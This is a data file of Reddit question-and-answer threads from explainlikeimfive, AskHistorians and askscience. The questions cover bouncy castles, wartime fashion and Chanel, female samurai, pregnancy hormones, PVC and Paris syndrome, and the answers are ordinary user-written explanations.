{"q_id": "1uzjh7", "title": "why is photographer terry richardson so famous and prevalent.", "selftext": "White backdrop + flash + celebs being goofy/edgy + big ego = superstar photographer???? What the fuck, I just don't get it. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1uzjh7/eli5_why_is_photographer_terry_richardson_so/", "answers": {"a_id": ["cen80bx", "cen8n7o", "cenatpl"], "score": [7, 5, 2], "text": ["Richardson is known for his work in art  &  fashion photography. His photography appears extensively in publications like Vice, GQ, Harpers Bazzar, etc, as well as in individual marketing campaigns. \n\nThe classic \"Terry\" photo you described are usually just from his personal collection that he makes available on his[ tumblr](_URL_0_).", "He is worse than a little creepy/crap photographer, he is a [sexual predator and an absolute misogynist](_URL_0_):\n\nWhy he keeps getting hired? It is honestly beyond me. Probably because most models are hired through their agency, and the agency is either oblivious (read: turning a blind eye) or uncaring.", "He has a split personality, where he takes amazing photos and shitty photos, you just don't realize the amazing photos were by him because they are so different. I think he does it just to make celebrities seem more down-to-earth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://terrysdiary.com/"], ["http://www.theguardian.com/fashion/2013/nov/18/terry-richardson-fashion-shameful-photographer"], []]}
{"q_id": "4ztz00", "title": "why do bouncy castles and other inflatable large objects need constant inflation instead of just inflating it once?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ztz00/eli5_why_do_bouncy_castles_and_other_inflatable/", "answers": {"a_id": ["d6yq64q", "d6yq6oz", "d6ywnp2", "d6yxeve", "d6z7fub"], "score": [142, 12, 36, 2, 10], "text": ["Those things have holes in them for the air to escape. So they have to replace the air that is lost.\n\n\nWhy are there holes? Think of a balloon, if you slam a balloon against the wall (analogy for kids jumping on castle) the balloon will burst. But if the balloon is not tied, when you slam it the air will escape and the balloon will be fine.\n\nHope that makes it clear", "Because they aren't airtight like balloons.  They have lots of stitching which leaks air, especially when kids are bouncing on it, so the air needs to constantly be replenished in order to keep it inflated. ", "The actual reason is to absorb the impact and create a softer environment for kids the play in. You allow the air to escape in small amounts, and this generates good  bounce while simultaneously having maximum shock absorption when a large amount of weight collects in a single area.", "Because they are not actually airtight, so if you fill them up and stop, the air leaks out and they deflate.\n\nThis is fairly obvious if you take a moment to look closely the next time you see a bouncy castle - the panels are all heavy duty material, and so is the stitching using fairly thick, solid thread (to make it robust) - run your hand along the seam and you will often feel the air escaping.", "If the balloon was perfectly sealed, it would be either very hard or very floppy depending on how much pressure you put in. Think of a fully inflated basket ball or a flat basket ball. Neither are very 'bouncy'. \n\nTo solve this, bouncy castles have a few holes on them. When you land, your weight pushes air out through the holes and it cushions your fall without feeling hard. If you only had those holes, the air would leak out and the castle deflates. So you need a fan constantly blowing in. \n\nThis fan not only keeps the castle inflated, but when you jump the fan pushes against you and launches you up somewhat. So now you get caught when you land and tossed up more when you jump much like a big spring. The fan is really what makes them 'bouncy'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "78ho4c", "title": "How was the clothing industry (especially haute couture) affected by WWII both during and afterwards?", "selftext": "I've heard rumors about designers like Christian Dior and Hugp Boss capitalizing greatly on the rich nazi-wives, but i haven't been able to find anything about it. Would love to hear more about it, and maybe get some book recommendations.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/78ho4c/how_was_the_clothing_industry_especially_haute/", "answers": {"a_id": ["dow60t2"], "score": [6], "text": ["During World War II, the Paris fashion industry as it had been actually kind of ... shut down. One major way that the clothing industry was affected was that the American designers got a big boost! Every year before the German occupation, when the spring/summer and fall/winter collections were shown in Paris, Americans (and Brits, and people of other nationalities) would flood the runway audiences: the editors of fashion magazines, who would need to report back on what Lelong and Rouff and Chanel were showing; buyers, who would put in orders for clothing to end up in their stores; manufacturers, who would make note of what to copy; and rich women, who would commission custom-made versions of the garments that appeared on the runway. It was easier to buy/copy from Paris (and steal French press releases) than to come up with original styles, and since it was established as the fashion capital of the West it was also more profitable - the preference for French fashion was so strong that newspaper reporting on fashion rarely or never attributed illustrations of designs unless the designers were based in Paris, and department stores did the same for the garments they sold.\n\nThis all stopped when the Germans invaded. When the New York designers met in July 1940, after Paris fell, it was clear that that way of doing things had to change: if the department stores stopped making a big fuss about new fall and spring collections just because they weren't Parisian, the public would lose interest and the American clothing industry might never recover. That fall, the first New York Fashion Week was held, and while the shows were held by the stores, the newspapers allowed journalists to include the names of the American designers and the stores they worked for in their coverage for the first time. Sure, this led to problems - with publicity for individuals stores, now there was a need to compete and complain about unequal treatment - but it also led to unparalleled opportunities for new designers to become recognized and desired in their own right. \"This focused attention took American design from the wings to center-stage fashion, from a position of obscurity and little recognition to a place in the spotlight that would come to generate a new level of fashion competition.\" (Sandra Stansbery Buckland and Gwendolyn O'Neal, \"\"We Publish Fashions Because They are News\": The New York Times, 1940 through 1945\", *Dress* 25 (1998)) In 1942, the Incorporated Society of London Fashion Designers was born, but their focus (Great Britain being hit harder by the war on the home front through extensive rationing) was on creating new fashions while also promoting economy in dress. London Fashion Week did not become a hit the way shows in other cities - New York, Rome - did, but following the war it became an important center for the dissemination of ready-to-wear designs, which gradually overtook couture in the mind and interest of the average person, as we see today.\n\nThere were also changes in the other end of the industry - the producers. Sales of silk had been declining during the Great Depression due to the economic downturn, and the increased production of relatively good imitations like rayon and nylon during the war helped to push it down even further; following WWII, synthetics would dominate the market. The brassiere manufacturers also adopted the letter-cup sizing system we use today, along with the standard multi-eye fastening: with wartime wages, women were willing to spend more money on foundation garments and a better fit was required to win them over to more expensive bras. With the increase in standardization and a corresponding increase in more comprehensive labeling, the position of skilled brassiere/corset fitter went into decline following the war.\n\nOne really interesting kink in the typical narrative of WWII promoting/allowing women's liberation is that the fashion industry (and government) pushed for sex appeal, sometimes in ways that still resonate today. For women on the home front, looking attractive was presented as much a part of the war effort as factory work (keeping up the boys' spirits, etc.), and women were cajoled into the latter with the promise that it was not mutually exclusive with the former. Midriff shirts were introduced during the war years, and appeared very, very frequently with patriotic slogans, both on the logic of my parenthetical above and because it \"saved fabric\".\n\nSo, what about Dior and Boss? Christian Dior was in the French army early in the war, and then went to work for Lucien Lelong's fashion house after France fell to the Axis forces; he didn't open his own place under his name, the company that still exists today, until 1946 or 1947. (Pierre Balmain, another future couturier, worked for Lelong at the same time.) While I talked about the Parisian fashion industry \"shutting down\" above, it's a bit hyperbolic: there were still some rich people who wanted to buy new couture garments, and yes, that included high-ranking Nazi officers and their wives/mistresses. See, the Nazis at first intended to shut down the industry in Paris so that Berlin and Vienna could take over as the cities that foreign buyers and fashion journalists came to twice a year, and they put a lot of effort into doing that. Lelong was then the head of the *Chambre syndicale*, the governing body of French haute couture, and he insisted that the Parisian couturiers be left alone, for the sake of French morale and to keep thousands of people employed and with money coming in. Despite these noble intentions, the firms that stayed open and catered to the Nazis and collaborators generally tried to bury the fact that they did so, or rather, they just never talked about it. Hugo Boss had opened a ready-made menswear store in 1923, joined the Nazi Party in 1931, and started making, though not designing, uniforms on government contracts soon after, eventually using forced labor - as did, it has to be said, many other menswear/uniform manufacturers. Unlike the French companies, Boss suffered some legal penalties for his Nazi ties afterward, though he did get them ameliorated eventually. To say that either Dior or Boss \"capitalized greatly\" misses the context that they were not what they are today at the time: Dior was an employee of Lelong, and Hugo Boss-the-company didn't even get into men's suits until after Hugo died in 1948. Yes, they benefited and it's possible that their later success would not have been able to happen if they'd gotten out of the clothing industry for the duration of the war, but it didn't finance some kind of ultra-luxurious lifestyle for them at the time.\n\nNow, you want to talk about a couturier capitalizing on Nazis? You want Coco Chanel for that. I recommend the book *Sleeping with the Enemy: Coco Chanel's Secret War* by Hal Vaughan. A brief summary: Chanel shut down her couture house, but continued to enjoy a moneyed lifestyle as the mistress of a Nazi officer (did she have couture bought for her from the houses that stayed open? I have no idea but would really like to know now), living at the Ritz in Paris; she used the Nazis' anti-semitic laws to attempt to gain control of her perfume company from the Jewish family that was in charge of it; she held anti-semitic and homophobic views of her own; there is evidence that she was a registered agent for the Nazis and that she attempted to contact British politicians on their behalf; following the war, she fled the country for a while, until it was clear that her collaboration would be swept under the rug (French postwar attitudes toward collaboration being generally \"let's just not talk about that\"); once she returned to couture, she proceeded to rewrite fashion history to make herself appear to have been more of a key player in the interwar period, now that her contemporaries from the 1920s and 1930s were dead or retired. This is becoming better-known, but there are still a lot of people who know \"Chanel was a very important figure in fashion\" and don't also know \"Chanel was a Nazi\", and it's particularly controversial among French fashion historians.\n\nSome sources:\n\nSandra Stansbery Buckland and Gwendolyn O'Neal, \"\"We Publish Fashions Because They are News\": The New York Times, 1940 through 1945\", *Dress* 25 (1998)\n\nJane Farrell-Beck, \"'Lifeblood of the Business': Fitters in American Foundations Departments, 1910s-1950s\", *Textile History* 34 (2013)\n\nMelissa McEuen, *Making War, Making Women: Femininity and Duty on the American Home Front, 1941-1945* (University of Georgia Press, 2010)\n\nJennifer M. Mower and Elaine L. Pedersen, \"Pretty and Patriotic: Women's Consumption of Apparel During World War II\", *Dress* 39 (2013)\n\nAmy D. Scarborough and Patricia Hunt-Hurst, \"The Making of an Erogenous Zone: The Role of Exoticism, Dance, and the Movie in Midriff Exposure, 1900-1946\", *Dress* 40 (2014)\n\nIan Taplin, \"Struggling to Compete: Post-War Changes in the US Clothing Industry\", *Textile History* 28 (1997)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2vb0oc", "title": "It may be a common feeling that great wealth can allow a person to be above the law. So, with that in mind, who was the richest person to ever be executed?", "selftext": "Why and how are always appreciated!\n\nedit; as pointed out below \n\n >  I would hasten to add a stipulation here. The richest person ever to be executed under the rule of law and not during a revolution. I think that's a more interesting exercise, as many regimes have been overturned throughout history.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2vb0oc/it_may_be_a_common_feeling_that_great_wealth_can/", "answers": {"a_id": ["cog5eej", "cog7g7d", "cogcbiz", "coge12z", "cogetuf", "cogf1om"], "score": [53, 32, 29, 8, 10, 13], "text": ["Wealth can be hard to quantify, but Charles I, Louis XVI, and Tsar Nicolas II were all monarchs who lost their heads after some manner of _URL_0_ monarchs, they commanded tremendous personal wealth, and had sizable kingdoms and empires besides. I'm not sure you can come up with an exact dollar value of their net worth, though.", "This might be an unusual reference but part of the problem with this question is explained well in the rationale behind why Forbes magazine excludes royals and dictators from it's annual rich list:\n\n >  We do not include royal family members or dictators who derive their fortunes entirely as a result of their position of power, nor do we include royalty who, often with large families, control the riches in trust for their nation.  Over the years Forbes has valued the fortunes of these wealthy despots, dictators and royals but have listed them separately as they do not truly reflect individual, entrepreneurial wealth that could be passed down to a younger generation or truly given away.\n\nWhich is to say that for most political rulers throughout history it would be extremely difficult to distinguish personal riches from the state treasury in any meaningful way, but at the same time in any common sense definition of \"richest\" it would be hard to exclude the nobility/royalty.", "Louis Buckhouse was said to have had an annual income of over $1 million when he was arrested, tried, and executed in the 1930s. A mobster by trade and contemporary of famous wiseguys like Charlie \"Lucky\" Luciano, Ben \"Bugsy\" Segal, and Meyer Lansky, he was said to have had about 250 people working the rackets on his behalf. That 1 million annual income would translate to roughly $17 million in today's dollars.  \n\nAs far as I know, he is the highest ranking mafioso ever executed for his crimes in the United States, and might be the answer to this question for Americans. Although it's too recent for this thread, the Chinese have executed several individuals who may have had a similar net-worth. \n\nSource: (behind a pay-wall) _URL_0_", "The problem as others have pointed out is that there are individuals for whom the notion of personal wealth and sovereign wealth are intertwined.  Europes' Absolute Monarchs were so synonymous with the country over which they ruled that Louis XIV is widely reported to have quipped \"The state is me\" (in French, natch) -- ie to have asserted that there was no meaningful distinction between himself as a person and France as a sovereign state.\n\nLouis XIV probably didn't actually say that, but the truth of the remark is in its endurance.  \n\nThe eventual execution of Louis XIV's great great grandson, Louis XVI, is likely simultaneously the best known example of an absurdly rich person being executed and, at least nominally, the wealthiest person to have met that fate.  \n\nOf course, most of that wealth existed only on paper and was stripped from him well prior to his death.  In the sense of his absolute monarchy -- while it lasted -- Louis XVI financed a goodly portion of the American Revolution out of what we might technically view as his personal slush fund (also known as the Treasury of France) owned... well... France, and [called this pile of bricks \"home.\"](_URL_0_)  ", "I would hasten to add a stipulation here. The richest person ever to be executed under the rule of law and not during a revolution. I think that's a more interesting exercise, as many regimes have been overturned throughout history.", "I'm surprised no one has mentioned Marcus Licinius Crassus. He was one of the wealthiest men in history. But in Roman culture, wealth was nothing compared to military victory. \n\nDetermined to stand on equal grounds with Pompey and Caesar, he pushed troops towards Partha, which... didn't go well. He died during a parley that turned violent when one of his officers suspected a trap. Crassus died during this scuffle, but it's rumored the Parthians poured molten gold down his throat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["trial.As"], [], ["http://query.nytimes.com/gst/abstract.html?res=9B03E7DE123FE23ABC4E52DFB667838E629EDE"], ["https://www.google.com/search?q=versailles&amp;espv=2&amp;biw=1920&amp;bih=955&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ei=ZC3ZVNTYO4uzUbnYgKgB&amp;ved=0CAYQ_AUoAQ&amp;dpr=1"], [], []]}
{"q_id": "13prkr", "title": "What effect did the evolution and emergence of birds have on Earth's ecosystems?", "selftext": "I was thinking recently about animals which are accidentally or deliberately introduced to new habitats (like starlings being brought to North America, or rabbits to Australia) and it made me wonder - did the emergence of birds (or any other flying creatures capable of travelling between different isolated ecosystems, for that matter) have a similar effect? For example, did a certain species of bird ever migrate to a new continent/island/whatever where it had no natural predators, and then profoundly alter the balance of the ecosystem in that place?\n\nI realise this might be a bit of a simplistic question because obviously birds evolved the ability to fly over a very long period of time, and also that it might be quite difficult to determine precisely when and where different animals first appeared, but I'd still really appreciate any insights you can provide.\n\nThank you.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13prkr/what_effect_did_the_evolution_and_emergence_of/", "answers": {"a_id": ["c761f9j", "c761wq6", "c763qdu", "c768zuo"], "score": [16, 7, 4, 2], "text": [" > For example, did a certain species of bird ever migrate to a new continent/island/whatever where it had no natural predators, and then profoundly alter the balance of the ecosystem in that place?\n\nNew Zealand is actually a very good example of that; before humans arrived the only mammals on the island were bats.  Every other niche that would normally be filled with mammals in most ecosystems were filled with birds.  A couple of examples are the \"large herbivore grazer\" niche that is commonly occupied by ruminants in other ecosystems was occupied by the moa, a large flightless bird, and the role of apex predator which is normally filled by big cats or canines was filled by an eagle that was large enough to prey on moa.", "I will have to find the article but it basically started that the emergence of birds was the reason for the decline of large insects and the reason there will never be large insects anymore.", "Another thing that birds do is spread seeds between geographically distinct ecosystems, which has a huge impact on species diversity. ", "Whenever a new dry landmass rises as an island due to a volcano, flying animals are the first to settle because its a safe spor from predators to nest on. They usually indroduce various seeds that would otherwise not reach the new island."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "f61raw", "title": "why do certain situations feel \u201cunreal\u201d or \u201csurreal\u201d? ex. - walking with friends outside in the dark, or getting into serious trouble.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f61raw/eli5_why_do_certain_situations_feel_unreal_or/", "answers": {"a_id": ["fi2l9so", "fi2lg53", "fi2m1qe"], "score": [7, 24, 4], "text": ["Can't cover all scenarios, but I think sometimes it has to do with the place (liminal spaces, odd times of day), with ourselves (a surge of euphoria or a rush of adrenaline can alter our perception of time and experience), or with our actions (breaking routine).", "This is more of a psychology question. \n\nDetachment from reality is a psychological defense mechanism. It involves diissociating from the events that are unfolding before you as if they are not truly happening to you, but instead you are watching them  unfold. \n\nMany people with depression and anxiety tend to enter dissociative states, their psyche allowing their depressive anxious state to be masked by a state of distant strangeness.\n\nTheres nothing to fear or dread because the situation isn't really happening.", "This is purely speculation, but human brains are essentially insanely effective pattern matching machines. Everything we experience, we define and categorize with respect to all our *other* experiences such that we are able to make sense of it and not be overwhelmed with sensory information, decision processing, etc. So when you encounter a situation that is novel or filled with uncertainty, to your brain, it quite literally is unreal - there is no neat little box for your brain to sort it into."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "20n7uo", "title": "How common were onna-bugeisha, female warriors belonging to the Japanese upper class? How were they looked upon? How were they trained?", "selftext": "What do we know about them? Really, how did the society in Feudal Japan see them? Were they distnguished in any way in battle from their male counterparts in regards to armour and clothing?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20n7uo/how_common_were_onnabugeisha_female_warriors/", "answers": {"a_id": ["cg5au9q", "cg5cirp"], "score": [185, 64], "text": ["If by Onna-bugeisha you mean women who were dedicated warriors, then the answer is extremely rare.  Tomoe Gozen is the only individul Japanese female warrior to receive any significant description in a Japanese war account (she was described in the Heike Monogatari, an account of the Gempei war of 1180-1185).  This account also gives insight into your question about how they were looked upon during that time:  Kiso Yoshinaka, the samurai that she served, had resolved himself to death in a dire situation and instructed her to leave, not because he feared for her life so much as he didn't want the dishonor of dying alongside a woman.\n\nAside from dedicated warrior women, a samurai's family was obliged to serve their lords, in whatever capacity that might entail.  While it rarely came to actual fighting, women would often take on the responsibilities of men as the times demanded.  They would often engage in repairs, the casting of bullets, and administering medical attention.  Another, more grisly duty they often had was preparing enemy heads that had been taken as prizes for viewing.  \n\nBut, back to female warriors; they were rare exceptions to the norm.  There are a number of remarkable stories about women's exploits in the world of the warrior, such as the account of Miyagino and Shinobu, sisters who worked together to avenge their father's death at the hands of a samurai.  The warrior women of Aizu is another remarkable exception; during the Boshin War (1868-1869) a number of women participated in the fighting against the encroaching forces of the emperor.  The women of Aizu domain were trained in the use of the naginata, and while they were never expected to have to use them, they could.  The accounts of the last stand that happened in Aizu include mention of women who fought to the death along side the male soldiers.  \n\nI get all of this information from The Samurai Swordsman: Master of War by Stephen Turnbull.  It has an entire chapter dedicated to women in the world of the samurai, you might find it interesting.  Otherwise, I'll be glad to fill in any more details you might be interested in (as long as I know the answer, of course).  ", "This is going to be a long answer so I hope you don't mind if I address your questions separately. \n\n**General History**\n\nOnna bugeisha were definitely *not common* enough to even come close to  matching the presence that men had in armies and martial roles. That being said, throughout Japan's martial history, they have been present in various levels of society and at various levels of influence and numbers. \n\nJapanese feudal society was fairly progressive in terms of how women were viewed and what legal rights they had as individuals in society, relatively speaking. Often, women could inherit property for their family, could own and run businesses de jure, and had a voice in social affairs without having to go through a man, whether it be her brother, father or husband. \n\nDuring the Kamakura and Heian Period, it could be argued that this was the 'friendliest' time for female warriors to make headway in their respective armies. \n\n*Much of fighting was still very formal and ritualized*. \n\nBattles took place between small numbers of professionals and fighting itself adhered to a large number of ritualistic rules and rigid traditions. Warriors from one side would name a specific person opponent and demand they come forward to face them. \n\nThis was far removed from the brutal crush and desperate clashes that characterized the total war of the Sengoku Era, when armies were a mix of conscripts, professional soldiers, and samurai, with thousands of bodies pressing against one another in chaos on the battlefield.  \n\nDuring these times, it is not hard to imagine that female warriors could distinguish themselves on a battlefield, especially when not all exchanges were meant to wipe out the other side. The frantic, brutal grappling and whole sale killing of the Sengoku Era had not become the preferred method of warfare yet. \n\nDuring these earlier years, *the bow* was still the weapon by which respectable Japanese warriors fought, competed, and showed their martial prowess. And women could be just as proficient with a bow as many men. \n\nDuring the Sengoku Period, fighting would have changed drastically and women's roles would have changed as well. \n\nIt is no longer a given that female fighters would have a fair chance in a almost ritualistic duel on the battlefield. Neither would any individual man have such a privilege anymore, as the military doctrine of the Sengoku Era shifted to one of win-at-all-costs-total-war. Gone was the reverence for the sacred warrior's fight, replaced by the colder practicality of tactics and strategy. \n\nWhy let a smaller force fighter yours one at a time when you can simply crush them all at once? \n\nThat being said, women warriors were still heard of during this time. The naginata and swords had fallen out of favor as a competent weapon on the ruthless battlefield of spears, bows and guns. Women would have adopted these weapons alongside their male counterparts.\n\nIn general, women of status whose families had a background or tradition of martial prowess would generally receive some martial training but it was far from a standardized practice. It was even more uncommon for a woman to set off with the regular army for war. \n\n*If they had any sort of regular role in wartime, it would be as the homeguard*, keeping peace at the homefront, perhaps warding off bandits or leading defense in case of enemy raiders. Women of status or influence who had the charisma and determination, as well as popular backing, stepping up to become war leaders in defense of their homes were not that strange. If an able woman took command and people were willing to follow, it would not have been too difficult for men of the time to accept, at least as a temporary measure.  \n\nAll this being said, women were generally still considered not equal to men, even as warriors. Some famous women are said to have been even greater than their male counterparts as warriors but these are the exceptions rather than the rule. Their status and influence would have been reduced simply because they were woman. \n\nAnd when Confucian values became popular again after the major wars had passed, women were relegated to a lower status in society than they enjoyed during the relatively free periods of chaotic warfare. Interestingly, it was during this period that samurai women were romanticized. They adopted the naginata as their symbol, much like how male samurai adopted the sword as theirs, d*espite both of these weapons being considered incompetent for serious warfare* (It's important to remember that by the time of the Edo Period, samurai armies had been employing firearms in their regular arsenal for several decades already).\n\n**Equipment and Training**\n\nDuring the Heian and Kamakura Period, warrior women would generally recieve a separate training from regular male warriors that took into account their different builds and strengths. That being said, it would share many similarities. The main training for the warrior caste focused around the bow and riding a horse, which eventually led to shooting from horseback, the signature style of samurai fighting excellence. \n\nThe women (and men) would have received training in various martial areas, such as fighting with various weapons like the famous naginata, swords, spears, etc. They would also receive training in hand to hand combat. But again, the focus would be on marksmanship, horse riding, and shooting from horseback, whether they were male or female. \n\nDuring the Sengoku Period some 400 odd years later, the difference in training would be massive. Regular male soldiers, who would fight in much larger armies than their historical cousins, would still have training that was steeped in tradition but focused greatly on discipline and cohesive fighting, particularly with the spear. \n\nWithout this, the samurai would be helpless on the contemporary battlefields of their day, where even the greatest warrior could be easily brought down if he faced 4 muddy peasants alone. \n\nMeanwhile, women warriors had very little place on the major battlefields, except for occasionally mounted archers. Their main role would be home defense and maybe fighting off raiders or bandits. Nothing to compare to the great battles the men were fighting. \n\nTheir training would be much more similar to the historical training of ritualistic individual combat. It would vary immensely depending on which clan, which family and what region of Japan we were talking about, but in general, training would be more traditional and aesthetic rather than practical. They didn't expect the women who learned some tricks in the dojo to be marching out on campaigns. The main change would be the change in weapons. \n\nThe naginata was no longer considered the great weapon it once was, though it still had its place with certain women's fighting styles. Swords were also considered side arms by the regular soldiers but it also had its place. \n\nThe key thing to remember here is that for the most part, training women in martial arts was a *very decentralized, informal thing and often done on a very individual basis*. To contrast, during war time, the vast majority of able bodied men would have had at least some sort of preliminary military training if they weren't already a part of the feudal lord's forces. \n\nAnother thing to remember is that during the Sengoku Era, firearms were huge. They were used often and everywhere. Some clans kept them as prestige weapons for only their elites. Others distributed them wholesale and armed entire formations with them. Similarly, sometimes women might have been armed with them, and other times they might have been refused to be allowed to even touch them. \n\nAs for armor, women generally would not have a 'female version' armor as they were not represented enough in military forces at any time for it to become standard. Female archers probably would have had a breastplate to protect their breasts from the bowstring when releasing but I do not think we have any actual physical example artifacts from those warring time periods. The oldest one that I know of is from the Edo period. It would have probably [looked something like this](_URL_0_). \n\nIn general, *female warriors probably didn't wear much in the way of armor at all*, since the vast majority of women who did fight would have been serving as a home defense role and more likely in their everyday clothes more than anything else. The women who earned a fearsome reputation would have had custom armor made for them and like any one off items, they would have been exceptional. \n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/Nf3sEFT.jpg"]]}
{"q_id": "4ewp6v", "title": "Are those Frankish, Norse or Saxon decorations ?", "selftext": "_URL_0_ \n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ewp6v/are_those_frankish_norse_or_saxon_decorations/", "answers": {"a_id": ["d2449lv", "d24iuwo"], "score": [5, 3], "text": ["Where was it found? What is the context?", "According to J\u00f8rgen Jensen, Danmarks Oldtid, 2013, as [cited on the online Danish National Encyclopedia](_URL_0_), the sword is of Frankish origin, and it contains several Christian ornaments, such as pigeons and crosses. \n\nIt has been suggested that the tomb where the sword was found belonged to the Danish crown prince Harald Klak, who died around 840-50 AD. He unsuccesfully fought for the throne of Denmark, was forced into exile and in 826 he chose to be baptised by Louis the Pious, at which time he also became a vassal of the emperor. However it is believed that this christening was purely of a political nature, with the hope of becoming king of Denmark. This hope floundered and while he returned to Denmark he probably recanted on his Christian beliefs, as the tomb in question which is believed to be his, is obviously a tomb laid out according to Pagan beliefs, as it is a so called ship burial, traditionally used by pagan Nordic chieftains."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/kmJFU"], "answers_urls": [[], ["http://denstoredanske.dk/Danmarks_Oldtid/Yngre_Jernalder/Konger,_h%C3%B8vdinge,_krigere_og_tr%C3%A6lle_800-1050_e.Kr/Konger_-_og_kvinder_af_fornem_byrd"]]}
{"q_id": "1xea8j", "title": "After an egg is fertilized during normal human conception, what processes are responsible for preventing a woman's body from entering her next menstrual cycle?", "selftext": "More specifically, how does the body know that a fertilized egg has implanted inside the uterus?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xea8j/after_an_egg_is_fertilized_during_normal_human/", "answers": {"a_id": ["cfamc0r", "cfami6z"], "score": [11, 5], "text": [" Fertilized eggs release Human chorionic gonadotropin hormone which tells the corpus luteum to produce progesterone instead of estrogen. Estrogen causes ovulation and then progesterone prepares the utteran lining. If your body receives the signal from HCG to continue producing progesterone instead of switching back to estrogen you won't slough the lining of the uterus or ovulate again until the estrogen production resumes. Here's a link that explains it better. There are better links but I'm on mobile.\n_URL_0_", "I'm an evolutionary biology PhD student and I work in a reproductive ecology lab. There are various hormonal cues that let the body know that an egg has been fertilized and has implanted. For example, the conceptus (egg + sperm) secretes human chorionic gonadotropin so that the woman's body continues to produce progesterone (a hormone that supports pregnancy - hence it's name, which means \"pro-gestation/pregnancy\"). Additionally, the conceptus has to avoid triggering an attack response by the mother's immune system, so it effectively masks itself by secreting early pregnancy factor (a protein), which is an immunosuppressant.\n\nTL;DR: The fertilized egg lets the woman's body know that it's there with hormones."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.early-pregnancy-tests.com/hcg.html"], []]}
{"q_id": "146xyg", "title": "what is vinyl and where does it come from?", "selftext": "I know it is used for records but I am curious about how it's made and such.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/146xyg/what_is_vinyl_and_where_does_it_come_from/", "answers": {"a_id": ["c7ae95o", "c7ail2t"], "score": [2, 3], "text": ["Don't know a lot about vinyl, but simply put, its a syntetic material similar to pvc.\nThat's all my limited knowledge can provide, sorry", "OK first of all, carbon is a special atom because it can stably bond to (i.e. share electrons with) 4 other atoms at one time. Because it has so many bond spots, a lot of different stuff can be made by connecting it different ways. Carbon sort of serves as the chemical \"skeleton\", it defines the shape of the molecule.\n\nthe word \"vinyl\" is a chemistry term referring to two carbon atoms double-bonded to each other (sharing 4 electrons instead of 2). The simplest type of a vinyl molecule is [ethylene](_URL_2_), two carbons double-bonded, each with 2 hydrogens filling out the rest of the molecule.\n\nNow, plastics. Plastics are what you get when you take a simple organic molecule, and you string a whole bunch of them together in a long chain. If you do it with our ethylene molecule from above, you get the famous [poly-ethylene](_URL_1_) from soda bottles, etc. The molecules release their 2nd carbon bonds, and bond to each other, in a very long chain. \n\nWhat we call \"vinyl\" is really \"poly-vinyl-chloride\", or \"PVC\". It's made exactly the same way as polyethylene, except instead of starting with ethylene, we start with [vinyl chloride](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/File:Vinyl-chloride-2D.png", "http://upload.wikimedia.org/wikipedia/commons/5/55/Polyethylene-xtal-packing-3D-balls-orthographic.png", "http://en.wikipedia.org/wiki/File:Ethylene-CRC-MW-dimensions-2D.png"]]}
{"q_id": "5v5lcr", "title": "what causes paris syndrome and why does it only occur in japanese people?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5v5lcr/eli5_what_causes_paris_syndrome_and_why_does_it/", "answers": {"a_id": ["ddzdtt1", "ddzmsa0", "de01zrg"], "score": [17, 8, 3], "text": ["It's not *only* in Japanese people, but they are more susceptible because their media have created such an overhyped, unrealistic expectation -- and because it's a long and exhausing trip to an extremely foreign/exotic place.\n\n_URL_0_\n\nEven so, it's very rare, affecting 1 in 300,000  Japanese visitors to Paris.", "I know that swedes are very susceptible to Jerusalem syndrome, which is similar to Paris syndrome except you start believing you are the Messiah. _URL_0_", "The contemporary media hype has a deeper reason: the confrontations with the West in the 19th century revealed deep weaknesses in the Japanese (and Chinese) cultures, and those countries reacted by throwing out, at least superficially, a lot of their cultural heritage and even seeing parts of it as \"shameful\". The trope of Paris as the capital of fashion and elegant lifestyles combined with this to turn Paris into a fantasy image of some kind of wonderland of Good Western Things - elegance, style and proper dress is highly, highly valued in Japanese culture AFAIK. So when tourists encounter rudeness or the smell of urine, dog turds and a conspicuous lack of Catherine Deneuve on every corner, they come crashing down into reality, which then causes the depression of Paris syndrome."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Paris_syndrome#Causes"], ["https://en.wikipedia.org/wiki/Jerusalem_syndrome"], []]}
